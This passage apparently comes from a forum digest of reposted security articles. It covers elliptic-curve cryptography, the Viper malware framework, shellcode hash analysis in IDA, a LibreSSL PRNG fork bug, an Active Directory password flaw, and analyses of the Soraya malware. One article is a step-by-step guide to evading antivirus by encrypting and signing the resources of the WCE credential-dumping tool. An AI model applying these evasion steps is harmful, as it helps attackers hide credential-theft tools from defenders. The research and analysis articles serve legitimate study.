logarithm” comes from. Discrete logarithm means solving for x of an equation ax = b, where a and b are known integers. Compare this equation with the equation nB=Q. We can see the similarity, but the former involves a raised power and the latter is simple addition. Recall the “addition” in the Elliptic Curve is purely our definition of an operation. For convenience, we denoted it as “Add,” but we can also denote it as “Multiple,” when the two operands are the same. In other words, <B> can be written instead as B, B2, B3, …. We have now completely defined the problem. In an upcoming post, we will explore how to build a non-symmetric encryption algorithm on top of the ECDLP. Sursa: Elliptic Curve Cryptography for Non-Algebraists |

[h=2]What is Viper?[/h] Viper is a binary analysis and management framework. Its fundamental objective is to provide a solution to easily organize your collection of malware and exploit samples as well as your collection of scripts you created or found over the time to facilitate your daily research. Think of it as a Metasploit for malware researchers: it provides a terminal interface that you can use to store, search and analyze arbitraty files with and a framework to easily create plugins of any sort. Viper is released under BSD 3-Clause license and is copyrighted by Claudio Guarnieri. The source code is available on GitHub, where also all development efforts and contributions are coordinated. For questions and inquiries, you can find the author’s contact details here. [h=2]Table of Content[/h] Installation Core dependencies Extra dependencies First launch [*]Usage Concepts Projects Sessions Commands & Modules [*]Commands projects open sessions close store find info notes tags delete [*]Create new modules First steps Arguments Accessing the session Accessing the database Printing results [h=3]Time to do malware research right.[/h] Download: https://github.com/botherder/viper/releases/ Sursa: Viper

Bypassing Antivirus with crypter and CFF Explorer Author: brav0hax Bypassing antivirus is always a cat and mouse game, and we’re always trying to stay ahead. I recently had a conversation with Justin Elze (@justinelze) on twitter about his version of WCE getting flagged by McAfee Antivirus. When I was working on smbexec I knew the wce executable would touch disk and did research to find out how I might be able to get a step ahead in bypassing antivirus vendors. What I found was, for the wce universal binary, the base EXE had resources inside which were run on the target system. Essentially the base EXE was a wrapper that would review the architecture of the target system (32/64) and then launch the proper resource embedded. Essentially what this means is that even though the base EXE is obfuscated and can bypass antivirus, you may not have the same luck bypassing antivirus with the actual resources when they execute. Enter CFF Explorer and crypter for bypassing antivirus. CFF Explorer The Explorer Suite was created by Daniel Pistelli, and “…is a freeware suite of tools including a PE editor called CFF Explorer and a process viewer. The PE editor has full support for PE32/64. Special fields description and modification (.NET supported), utilities, rebuilder, hex editor, import adder, signature scanner, signature manager, extension support, scripting, disassembler, dependency walker etc. First PE editor with support for .NET internal structures.” Essentially what we are able to do is view the PE, extract the resource files, encrypt those and place them back in the PE. The great thing is CFF explorer does all the heavy lifting. All we have is extract and save, below are the steps of the process. Extracting the Resource Files First step is to download the wce universal binary zip file from Amplia Security and extract the files. Additionally, please note the initial size of the wce.exe file. Start CFF explorer and click the Open button to browse to the wce file we will be working on. Once the file loads, in the left explorer pane, select “Resource Editor” and you will notice the middle pane shows resources in the “BINARY” folder. These are the items we are going to encrypt to in hopes of bypassing antivirus. Next you simply right-click each item listed and save to your local system by selecting the menu item Save Resource (RAW). NOTE: There are two files listed because one is 32bit and the other 64 bit. Encrypting the Resource Files Once you’ve saved of the resources, its now time to encrypt them for bypassing antivirus. There are several tools you can use, in this tutorial I want to highlight a really great (and free) tool called crypter, created by Christian Ammann of Null Security Its important to note that you may need an additional tool to obfuscate the 64-bit file. Now that we have the file encrypted, its time to put it back into the original wce file. We can do this in CFF explorer with the following steps. Updating the Executable Go back to your CFF Explorer and right-click the file you are looking to replace. Select Replace Resource (RAW) from the menu and select your encrypted resource file. Once the import has been completed, you need to save the file. You will now see that the file size has changed, confirming your new wce file is good to go for testing. Now that the resource files in the wce executable file are obfuscated, now you can obfuscate the wce.exe file itself if you’d like. Bypassing Antivirus – Other Tricks There are a few other tricks that we do that can also help in bypassing antivirus. I like to sign my binaries since a valid cert tends to add a lot of weight to the reputation of a file when reviewed. I sign both the resource files before I place them back in the binary, and then I sign the binary itself. For the past year I have been bypassing antivirus (all different kinds) with relative ease with my encrypted and signed version of wce. The awesome thing is that this is not only relevant to wce, it can come in handy across a load of different PE’s. Happy Hunting! Sursa: https://www.pentestgeek.com/2014/07/15/bypassing-antivirus-crypter-cff-explorer/

Shellcode analysis like a semi-PRO During Nicolas Brulez‘s training at REcon there was a challenge where the goal was to have function names instead of hashes into IDA in order to make shellcode analysis easier. This post describes the problem with more detail, possible solutions and the approach I took to solve the challenge. If you would like to know the PRO version then take Nicolas’s training next year. Introduction In a few words, in order to resolve API function addresses, shellcode uses to parse EAT from loaded modules and compare a given function name with a hash, this is sometimes used by malware as well for the purpose of being stealth. More information about this technique is available here. The problem is that on IDA Pro you will have an output like the below: seg000:00386C91 mov ecx, 0A1233BBCh seg000:00386C96 mov edx, [ebp+4] seg000:00386C99 call find_func_addr seg000:00386C9E call eax Since there are many calls to find_func_addr, static analysis without knowing the function name related to each hash is very time-consuming, it would be necessary to follow each call on the debugger and manually update IDA Pro. Possible solutions There are two ways to solve this problem: statically or dynamically. Each of them has its advantages and disadvantages. Dynamic The only advantage I can think of this approach is that you don’t need to reverse engineer the hash function in order to get every function name, the disadvantages are: (a) the code can take different paths and then you won’t be able to identify all the hashes; ( it’s not portable, the Immunity or Olly script needs to be changed for every other sample that use hashes. A similar example of using the dynamic approach can be found at the VRT blog. Static This is the approach I took, the advantages/disadvantages are the reserve of the dynamic one, I had to crack the hash algorithm (which was pretty simple) but at least the other parts can be easily portable for further samples. The static solution The solution is divided in three parts: (a) get the function names from EAT of a given DLL; ( calculate the hash for each function name; © import the data into IDA. Getting the function names I ended up using DLL Export Viewer, Nicolas used pefile, I totally forgot about pefile. For the purpose of this post, the code below is enough to illustrate: dll = "c:/windows/system32/kernel32.dll" pe = pefile.PE(dll) for func in pe.DIRECTORY_ENTRY_EXPORT.symbols: print func.name Calculate the hash This will change for every sample. On this example, the hash algorithm was very simple, it can get really complicated and then the dynamic approach would be better. There is a MUCH easier/clever way to calculate the hash, however, you will need to take Nicolas’s training to get to know it, his solution to this was a *facepalm* moment. Hash function: seg000:00386BE0 calc_hash proc near ; CODE XREF: find_func_addr+28p seg000:00386BE0 push eax seg000:00386BE1 xor eax, eax seg000:00386BE3 xor ecx, ecx seg000:00386BE5 seg000:00386BE5 loop_calc_hash: ; CODE XREF: calc_hash+13j seg000:00386BE5 lodsb seg000:00386BE6 test al, al seg000:00386BE8 jz short calc_hash_end seg000:00386BEA xor ecx, eax seg000:00386BEC rol ecx, 3 seg000:00386BEF inc ecx seg000:00386BF0 shl eax, 8 seg000:00386BF3 jmp short loop_calc_hash seg000:00386BF5 ; --------------------------------------------------------------------------- seg000:00386BF5 seg000:00386BF5 calc_hash_end: ; CODE XREF: calc_hash+8j seg000:00386BF5 pop eax seg000:00386BF6 retn seg000:00386BF6 calc_hash endp Relevant C code: #include <stdio.h>#include <inttypes.h> #include <string.h> __inline__ rol(uint32_t operand, uint8_t width) { __asm__ __volatile__ ("rol %%cl, %%eax" : "=a" (operand) : "a" (operand), "c" (width) ); } int main(int argc, char* argv[]) { unsigned int i = 0; int out = 0; int eax = 0; FILE *ptr_file; char buf[100]; ptr_file =fopen(argv[1],"r"); if (!ptr_file) { printf("Unable to read text file\n"); return 1; } while (fgets(buf,100, ptr_file)!=NULL) { for (i = 0; i < strlen(buf)-1; i++) { eax = eax | buf; out = out ^ eax; out = rol(out,3); out += 1; eax = eax << 8; } printf("0x%08x",out); printf(","); printf("%s",buf); eax = 0; out = 0; } fclose(ptr_file); return 0; } Import data into IDA Basically, the script below add Enums into IDA, later just press ‘M’ on every hash to get the function name. If the hash is not found, consider import other DLLs. I didn’t find any function in IDA to automatically “refresh” a hex value for an enum value, if this is available please let me know. IDAPython script: from idaapi import *from idc import * SANE_NAME_RE = re.compile("[@?$:`+&\[\]]", 0) def sanitize_name(name): return SANE_NAME_RE.sub("_", name) def main(): enum_name = AskStr("Kernel32_Functions_Hash","Enter Enum name:") id = idc.AddEnum(0, enum_name, idaapi.hexflag()) print 'Enum id %d' % (id) file_path = AskFile(0,"*.*","Open txt file") file = open(file_path,'r') addr = '' name = '' for line in file: addr,name = line.split(',') addr_hex = long(addr,16) name = sanitize_name(name).rstrip('\n') if __name__ == '__main__': main() After executing script and adding the Enum to the hash value: .data:00405159 mov ecx, KERNEL32_ExitProcess .data:0040515E mov edx, [ebp+4] .data:00405161 call get_func_addr .data:00405166 push 0 .data:00405168 call eax Conclusion As shown on another post, even without a clean IAT or loading a binary file like when dealing with shellcodes, it’s still possible to have a decent static analysis by mixing IDAPython with other tools. Sursa: Shellcode analysis like a semi-PRO | drimeldotorg

[h=1]How SSL works tutorial - with HTTPS example[/h] How SSL works by leadingcoder. This is a full tutorial how to setup SSL that requires client certificate for reference: http://www.windowsecurity.com/article... .

LibreSSL's PRNG is Unsafe on Linux [update: LibreSSL fork fix] The first version of LibreSSL portable, 2.0.0, was released a few days ago (followed soon after by 2.0.1). Despite the 2.0.x version numbers, these are only preview releases and shouldn't be used in production yet, but have been released to solicit testing and feedback. After testing and examining the codebase, my feedback is that the LibreSSL PRNG is not robust on Linux and is less safe than the OpenSSL PRNG that it replaced. Consider a test program, fork_rand. When linked with OpenSSL, two different calls to RAND_bytes return different data, as expected: $ cc -o fork_rand fork_rand.c -lcrypto $ ./fork_rand Grandparent (PID = 2735) random bytes = f05a5e107f5ec880adaeead26cfff164e778bab8e5a44bdf521e1445a5758595 Grandchild (PID = 2735) random bytes = 03688e9834f1c020765c8c5ed2e7a50cdd324648ca36652523d1d71ec06199de When the same program is linked with LibreSSL, two different calls to RAND_bytes return the same data, which is a catastrophic failure of the PRNG: $ cc -o fork_rand fork_rand.c libressl-2.0.1/crypto/.libs/libcrypto.a -lrt $ ./fork_rand Grandparent (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c Grandchild (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c The problem is that LibreSSL provides no way to safely use the PRNG after a fork. Forking and PRNGs are a thorny issue - since fork() creates a nearly-identical clone of the parent process, a PRNG will generate identical output in the parent and child processes unless it is reseeded. LibreSSL attempts to detect when a fork occurs by checking the PID (see line 122). If it differs from the last PID seen by the PRNG, it knows that a fork has occurred and automatically reseeds. This works most of the time. Unfortunately, PIDs are typically only 16 bits long and thus wrap around fairly often. And while a process can never have the same PID as its parent, a process can have the same PID as its grandparent. So a program that forks from a fork risks generating the same random data as the grandparent process. This is what happens in the fork_rand program, which repeatedly forks from a fork until it gets the same PID as the grandparent. OpenSSL faces the same issue. It too attempts to be fork-safe, by mixing the PID into the PRNG's output, which works as long as PIDs don't wrap around. The difference is that OpenSSL provides a way to explicitly reseed the PRNG by calling RAND_poll. LibreSSL, unfortunately, has turned RAND_poll into a no-op (lines 77-81). fork_rand calls RAND_poll after forking, as do all my OpenSSL-using programs in production, which is why fork_rand is safe under OpenSSL but not LibreSSL. You may think that fork_rand is a contrived example or that it's unlikely in practice for a process to end up with the same PID as its grandparent. You may be right, but for security-critical code this is not a strong enough guarantee. Attackers often find extremely creative ways to manufacture scenarios favorable for attacks, even when those scenarios are unlikely to occur under normal circumstances. Bad chroot interaction A separate but related problem is that LibreSSL provides no good way to use the PRNG from a process running inside a chroot jail. Under Linux, the PRNG is seeded by reading from /dev/urandom upon the first use of RAND_bytes. Unfortunately, /dev/urandom usually doesn't exist inside chroot jails. If LibreSSL fails to read entropy from /dev/urandom, it first tries to get random data using the deprecated sysctl syscall, and if that fails (which will start happening once sysctl is finally removed), it falls back to a truly scary-looking function (lines 306-517) that attempts to get entropy from sketchy sources such as the PID, time of day, memory addresses, and other properties of the running process. OpenSSL is safer for two reasons: If OpenSSL can't open /dev/urandom, RAND_bytes returns an error code. Of course the programmer has to check the return value, which many probably don't, but at least OpenSSL allows a competent programmer to use it securely, unlike LibreSSL which will silently return sketchy entropy to even the most meticulous programmer. OpenSSL allows you to explicitly seed the PRNG by calling RAND_poll, which you can do before entering the chroot jail, avoiding the need to open /dev/urandom once in the jail. Indeed, this is how titus ensures it can use the PRNG from inside its highly-isolated chroot jail. Unfortunately, as discussed above, LibreSSL has turned RAND_poll into a no-op. What should LibreSSL do? First, LibreSSL should raise an error if it can't get a good source of entropy. It can do better than OpenSSL by killing the process instead of returning an easily-ignored error code. In fact, there is already a disabled code path in LibreSSL (lines 154-156) that does this. It should be enabled. Second, LibreSSL should make RAND_poll reseed the PRNG as it does under OpenSSL. This will allow the programmer to guarantee safe and reliable operation after a fork and inside a chroot jail. This is especially important as LibreSSL aims to be a drop-in replacement for OpenSSL. Many properly-written programs have come to rely on OpenSSL's RAND_poll behavior for safe operation, and these programs will become less safe when linked with LibreSSL. Unfortunately, when I suggested the second change on Hacker News, a LibreSSL developer replied: The presence or need for a [RAND_poll] function should be considered a serious design flaw. I agree that in a perfect world, RAND_poll would not be necessary, and that its need is evidence of a design flaw. However, it is evidence of a design flaw not in the cryptographic library, but in the operating system. Unfortunately, Linux provides no reliable way to detect that a process has forked, and exposes entropy via a device file instead of a system call. LibreSSL has to work with what it's given, and on Linux that means RAND_poll is an unfortunate necessity. Workaround If the LibreSSL developers don't fix RAND_poll, and you want your code to work safely with both LibreSSL and OpenSSL, then I recommend putting the following code after you fork or before you chroot (i.e. anywhere you would currently need RAND_poll): unsigned char c; if (RAND_poll() != 1) { /* handle error */ } if (RAND_bytes(&c, 1) != 1) { /* handle error */ } In essence, always follow a call to RAND_poll with a request for one random byte. The RAND_bytes call will force LibreSSL to seed the PRNG if it's not already seeded, making it unnecessary to later open /dev/urandom from inside the chroot jail. It will also force LibreSSL to update the last seen PID, fixing the grandchild PID issue. (Edit: the LibreSSL PRNG periodically re-opens and re-reads /dev/urandom to mix in additional entropy, so unfortunately this won't avoid the need to open /dev/urandom from inside the chroot jail. However, as long as you have a good initial source of entropy, mixing in the sketchy entropy later isn't terrible.) I really hope it doesn't come to this. Programming with OpenSSL already requires dodging numerous traps and pitfalls, often by deploying obscure workarounds. The LibreSSL developers, through their well-intended effort to eliminate the pitfall of forgetting to call RAND_poll, have actually created a whole new pitfall with its own obscure workaround. Update (2014-07-16 03:33 UTC): LibreSSL releases fix for fork issue LibreSSL has released a fix for the fork issue! (Still no word on the chroot/sketchy entropy issue.) Their fix is to use pthread_atfork to register a callback that reseeds the PRNG when fork() is called. Thankfully, they've made this work without requiring the program to link with -lpthread. I have mixed feelings about this solution, which was discussed in a sub-thread on Hacker News. The fix is a huge step in the right direction but is not perfect - a program that invokes the clone syscall directly will bypass the atfork handlers (Hacker News commenter colmmacc suggests some legitimate reasons a program might do this). I still wish that LibreSSL would, in addition to implementing this solution, just expose an explicit way for the programmer to reseed the PRNG when unusual circumstances require it. This is particularly important since OpenSSL provides this facility and LibreSSL is meant to be a drop-in OpenSSL replacement. Finally, though I was critical in this blog post, I really appreciate the work the LibreSSL devs are doing, especially their willingness to solicit feedback from the community and act on it. (I also appreciate their willingness to make LibreSSL work on Linux, which, despite being a Linux user, I will readily admit is lacking in several ways that make a CSPRNG implementation difficult.) Ultimately their work will lead to better security for everyone. Sursa: https://www.agwa.name/blog/post/libressls_prng_is_unsafe_on_linux

Active Directory Flaw Lets Attackers Change Passwords Aorato finds way to compromise Active Directory and change passwords without being noticed by SIEM.Researchers have discovered a way for attackers to access and change the password of a user's Active Directory account, without being detected log-based security tools like SIEM. The researchers, from AD security firm Aorato, say this is a severe flaw partly because of the ubiquity of Active Directory and partly because it allows attackers to do something that they may not be able to do even with physical access to a user's machine. As lead researcher Tal B'ery explains, if someone goes to get coffee, walks away from his or her desk, and forgets to lock his or her screen, a ne'er-do-well can sneak by, get physical access to the machine, and do basically anything that the logged-in user can do ... except change the password, if that person doesn't know the current one. That's why this new attack Aorato describes is significant, according to B'ery. Obviously, if the compromised account is one that's used often, someone will notice the password has been changed as soon as the individual tries and fails to log in. However, B'ery points out that if this is done on a weekend, an attacker may evade notice for 48 hours. Plus, attackers could go after a dormant account to stay under the radar longer. As Aorato explains in its report, the attacker first uses a publicly available free penetration testing tool (like WCE or Mimikatz) to steal the NTLM hash from user devices -- an authentication component that resides by default on devices that connect to enterprise resources. NTLM is known to be a bit of a security hazard itself, and therefore, lots of organizations log NTLM activity. So, as Aorata describes it in the report: 2. The attacker forces the client to authenticate to Active Directory using a weaker encryption protocol. At this stage, the attacker uses the Active Directory flaw where the encryption protocol relies on the NTLM hash. This activity is not logged in system and 3rd party logs -- even those that specifically log NTLM activity. As a result, no alerts, or forensic data, ever indicate that an attack takes place. 3. The attacker proves its so-called legitimate identity to Active Directory using the weaker authentication protocol. According to B'ery, when Aorato responsibly disclosed this, Microsoft said they do consider it not a vulnerability, but a part of Active Directory's design. B'ery says, "We argue that it doesn't matter. A flaw is a flaw is a flaw." Sursa: Active Directory Flaw Lets Attackers Change Passwords

Floppy Bird Floppy Bird is a clone of the infamous Flappy Bird written in 16 bit (x86) assembly. In other words it works on RAW METAL and doesn't require an Operating System. Getting Started If you just want to try it out there's no need to install the development tools because you can use one of the provided 'disk images'. However, if you really want to 'compile' it yourself then you'll need to install the following tools: NASM QEMU GIMP To build it just type in any terminal: make make iso Versions build/floppybird.img - Image for Floppy / USB Drives build/floppybird.iso - for CD-ROM Drives (with Floppy Emulation) Virtual Machines QEMU and VirtualBox have been tested and fully supported. qemu-system-i386 -boot a -fda build/floppybird.img WARNING I am not responsible for any direct or indirect data loss after performing any of the destructive operations presented below. BE SURE TO BACKUP THE CONTENTS OF YOUR FLOPPY/USB DRIVE. Linux/Mac (in other words *unix) You can use the dd utility or your favorite CD Burner like Brasero. dd if=build/floppybird.img of=/dev/sdb In the example above, /dev/sdb is your USB Drive. Windows You can use the Raw Write 32 utility or your favorite CD Burner like CDBurnerXP. Contribute Fork the project. Make your feature addition or bug fix. Do not bump the version number. Send me a pull request. Bonus points for topic branches. License Copyright © 2014, Mihail Szabolcs Floppy Bird is provided as-is under the MIT license. For more information see LICENSE. Sursa: https://github.com/icebreaker/floppybird

Wireless Live CD Alternative: ZeusGard I’ve long recommended that small business owners and others concerned about malware-driven bank account takeovers consider adopting a “Live CD” solution, which is a free and relatively easy way of temporarily converting your Windows PC into a Linux operating system. The trouble with many of these Live CD solutions is that they require a CD player (something many laptops no longer have) — but more importantly – they don’t play well with wireless access. Today’s post looks at an alternative that addresses both of these issues. Zeusgard, with wireless adapter, on a Macbook Air. As I noted in my 2012 column, “Banking on a Live CD,” the beauty of the “Live CD” approach is that it allows you to safely bank online from any machine — even from a system that is already riddled with malware. That’s because it lets you boot your existing PC into an entirely different (read: non-Windows) operating system. [Not sure why you should consider banking online from a non-Windows PC? Check out this series]. The device I’ll be looking at today is not free, nor is the the tiny dongle that enables its ability to be used on a wireless network. Nor is it an actual CD or anything more than a stripped-down Web browser. But it is one of the safest, most easy-to-use solutions I’ve seen yet. The device, called ZeusGard, is a small, silver USB flash drive that boots into a usable browser within about 30 seconds after starting the machine. The non-writeable drive boots directly into the browser (on top of Debian Linux), and if your system is hard-wired to your router with an Ethernet connection, you should be good to go. Nearly all Live CD solution have one glaring weakness: They typically are not usable over a wireless connection. The Live CD solution I most frequently recommend — which is based on a version of Puppy Linux — technically can work with wireless networks, but I found that setting it up is not at all intuitive, especially for people who’ve never used anything but Windows before. My review copy of ZeusGard came with a tiny USB wireless Wi-Fi adapter, which makes jumping on a wireless network a complete breeze. When you boot up with both ZeusGard and the adapter plugged in, ZeusGard automatically searches for available wireless networks, and asks you to choose yours from a list of those in range. Assuming access to your wireless network is secured with WPA/WPA2 (hopefully not the weaker WEP) , click the “properties” box next to your network, and enter your network’s encryption key (if you need to see the key in plain text while you’re typing, tick the box next to “key”). Hit “OK” and then the “Connect” button. Once you’re connected, click the down arrow at the top of the dialog box and select “Exit to Browser Session.” This is the second generation of ZeusGard, and I’m looking forward to seeing the next iteration of the device. ZeusGard is produced by Bancsec, a consulting firm that advises financial institutions on ways to beef up security (think ). Bancsec CEO J.B. Snyder said the next version should include a streamlined wireless setup, and will offer users more options inside the browser session (in the version I tested, for example, ZeusGard automatically shuts down after 30 minutes of use). At $24.95 for the basic ZeusGard and $14.95 for the wireless adapter, this device is likely to be more appealing to small businesses than the average Internet user. But if you need or want wireless capability in a USB-based “Live CD” solution, ZeusGard is one of few easy-to-use options currently available. To get ZeusGard working on a Mac, hold the “Option” key while booting up, and select the volume labeled “Windows” (yes, I realize this is counter-intuitive, since the whole idea behind booting into a live CD is that you’re not in Windows). Getting ZeusGard (or any other live distribution, for that matter) working on a Windows PC may be a bit more involved. Rather than reinvent the wheel, I’ve excerpted and modified the following instructions from my Banking on a Live CD post. We next need to make sure that the computer knows to look to the USB drive first for a bootable operating system before it checks the hard drive, otherwise ZeusGard will never be recognized by the computer (this only needs to be done once). When you start up your PC, take note of the text that flashes on the screen, and look for something that says “Press [some key] to enter setup” or “Press [some key] to enter startup.” Usually, the key you want will be F2 or the Delete or Escape (Esc) key. A Windows BIOS screen. If you’ve done it right, the “removable dev” option should be listed as the 1st Boot Device. When you figure out what key you need to press, press it repeatedly until the system BIOS screen is displayed. Your mouse probably will not work here, so you’ll need to rely on your keyboard. Look at the menu options at the top of the screen, and you should notice a menu named “Boot”. Hit the right arrow key until you’ve reached that screen listing your bootable devices, and then hit the Enter key What you want to do here is move the Removable Devices option to the top of the list (it may be listed as merely “Removable Dev”). Do this by selecting the down-arrow key until that option is highlighted, and the press the Shift and the “+” key on your keyboard until the Removable Devices option is at the top. Then hit the F10 key, and confirm “yes” when asked if you want to save changes and exit, and the computer should reboot. Unless you know what you’re doing here, it’s important not to make any other changes in the BIOS settings. If you accidentally do make a change that you want to undo, hit F10, and select the option “Exit without saving changes.” The computer will reboot, and you can try this step again. If you’ve done this step correctly, the computer should detect the USB drive as a bootable operating system, and boot into ZeusGard. Sursa: Wireless Live CD Alternative: ZeusGard — Krebs on Security

Soraya: The Worst of Both Worlds A FortiGuard Labs Technical Analysis Introduction Soraya is the first of its kind, a hybrid piece of malware combining popular form grabbing techniques seen in Zeus and memory parsing techniques seen in Dexter and JackPOS. In this report, we join Junior AV Analyst Hong Kei Chan in describing Soraya’s installation then analyzing the two defining elements of Soraya – form grabbing and memory parsing. We will also review the command- and-control (C&C) communication protocol in detail by exploring the features found in Soraya’s control panel. Installation Many of the samples received by FortiGuard Labs have been packed with custom packing algorithms, where a 24KB UPX-compressed image is mapped back to the original base address and then executed. Soraya does not import any functions, so it utilizes a common technique where the base address of kernel32.dll is retrieved from the Process Environment Block (PEB) structure before resolving the address of the target API using values that have been hashed from the API names. The addresses of the following APIs are retrieved using this custom algorithm: Fortinet | High Performance Network Security, Enterprise and Data-Center Firewall Solution Brief : Two-Factor Authentication LoadLibrary GetProcAddress VirtualProtect ZwCreateSection ZwMapViewofSection RtlMoveMemory CreateRemoteThread GetModuleHandleW CreateToolHelp32Snapshot Process32First Process32Next OpenProcess isWow64Process ExitProcess After getting the handle of its target processes, it uses ZwCreateSection, ZwMapViewofSection, RtlMoveMemory, and CreateRemoteThread to inject itself into a number of system processes including explorer.exe to begin its malicious functions. Download: http://www.fortinet.com/sites/default/files/whitepapers/soraya_WP.pdf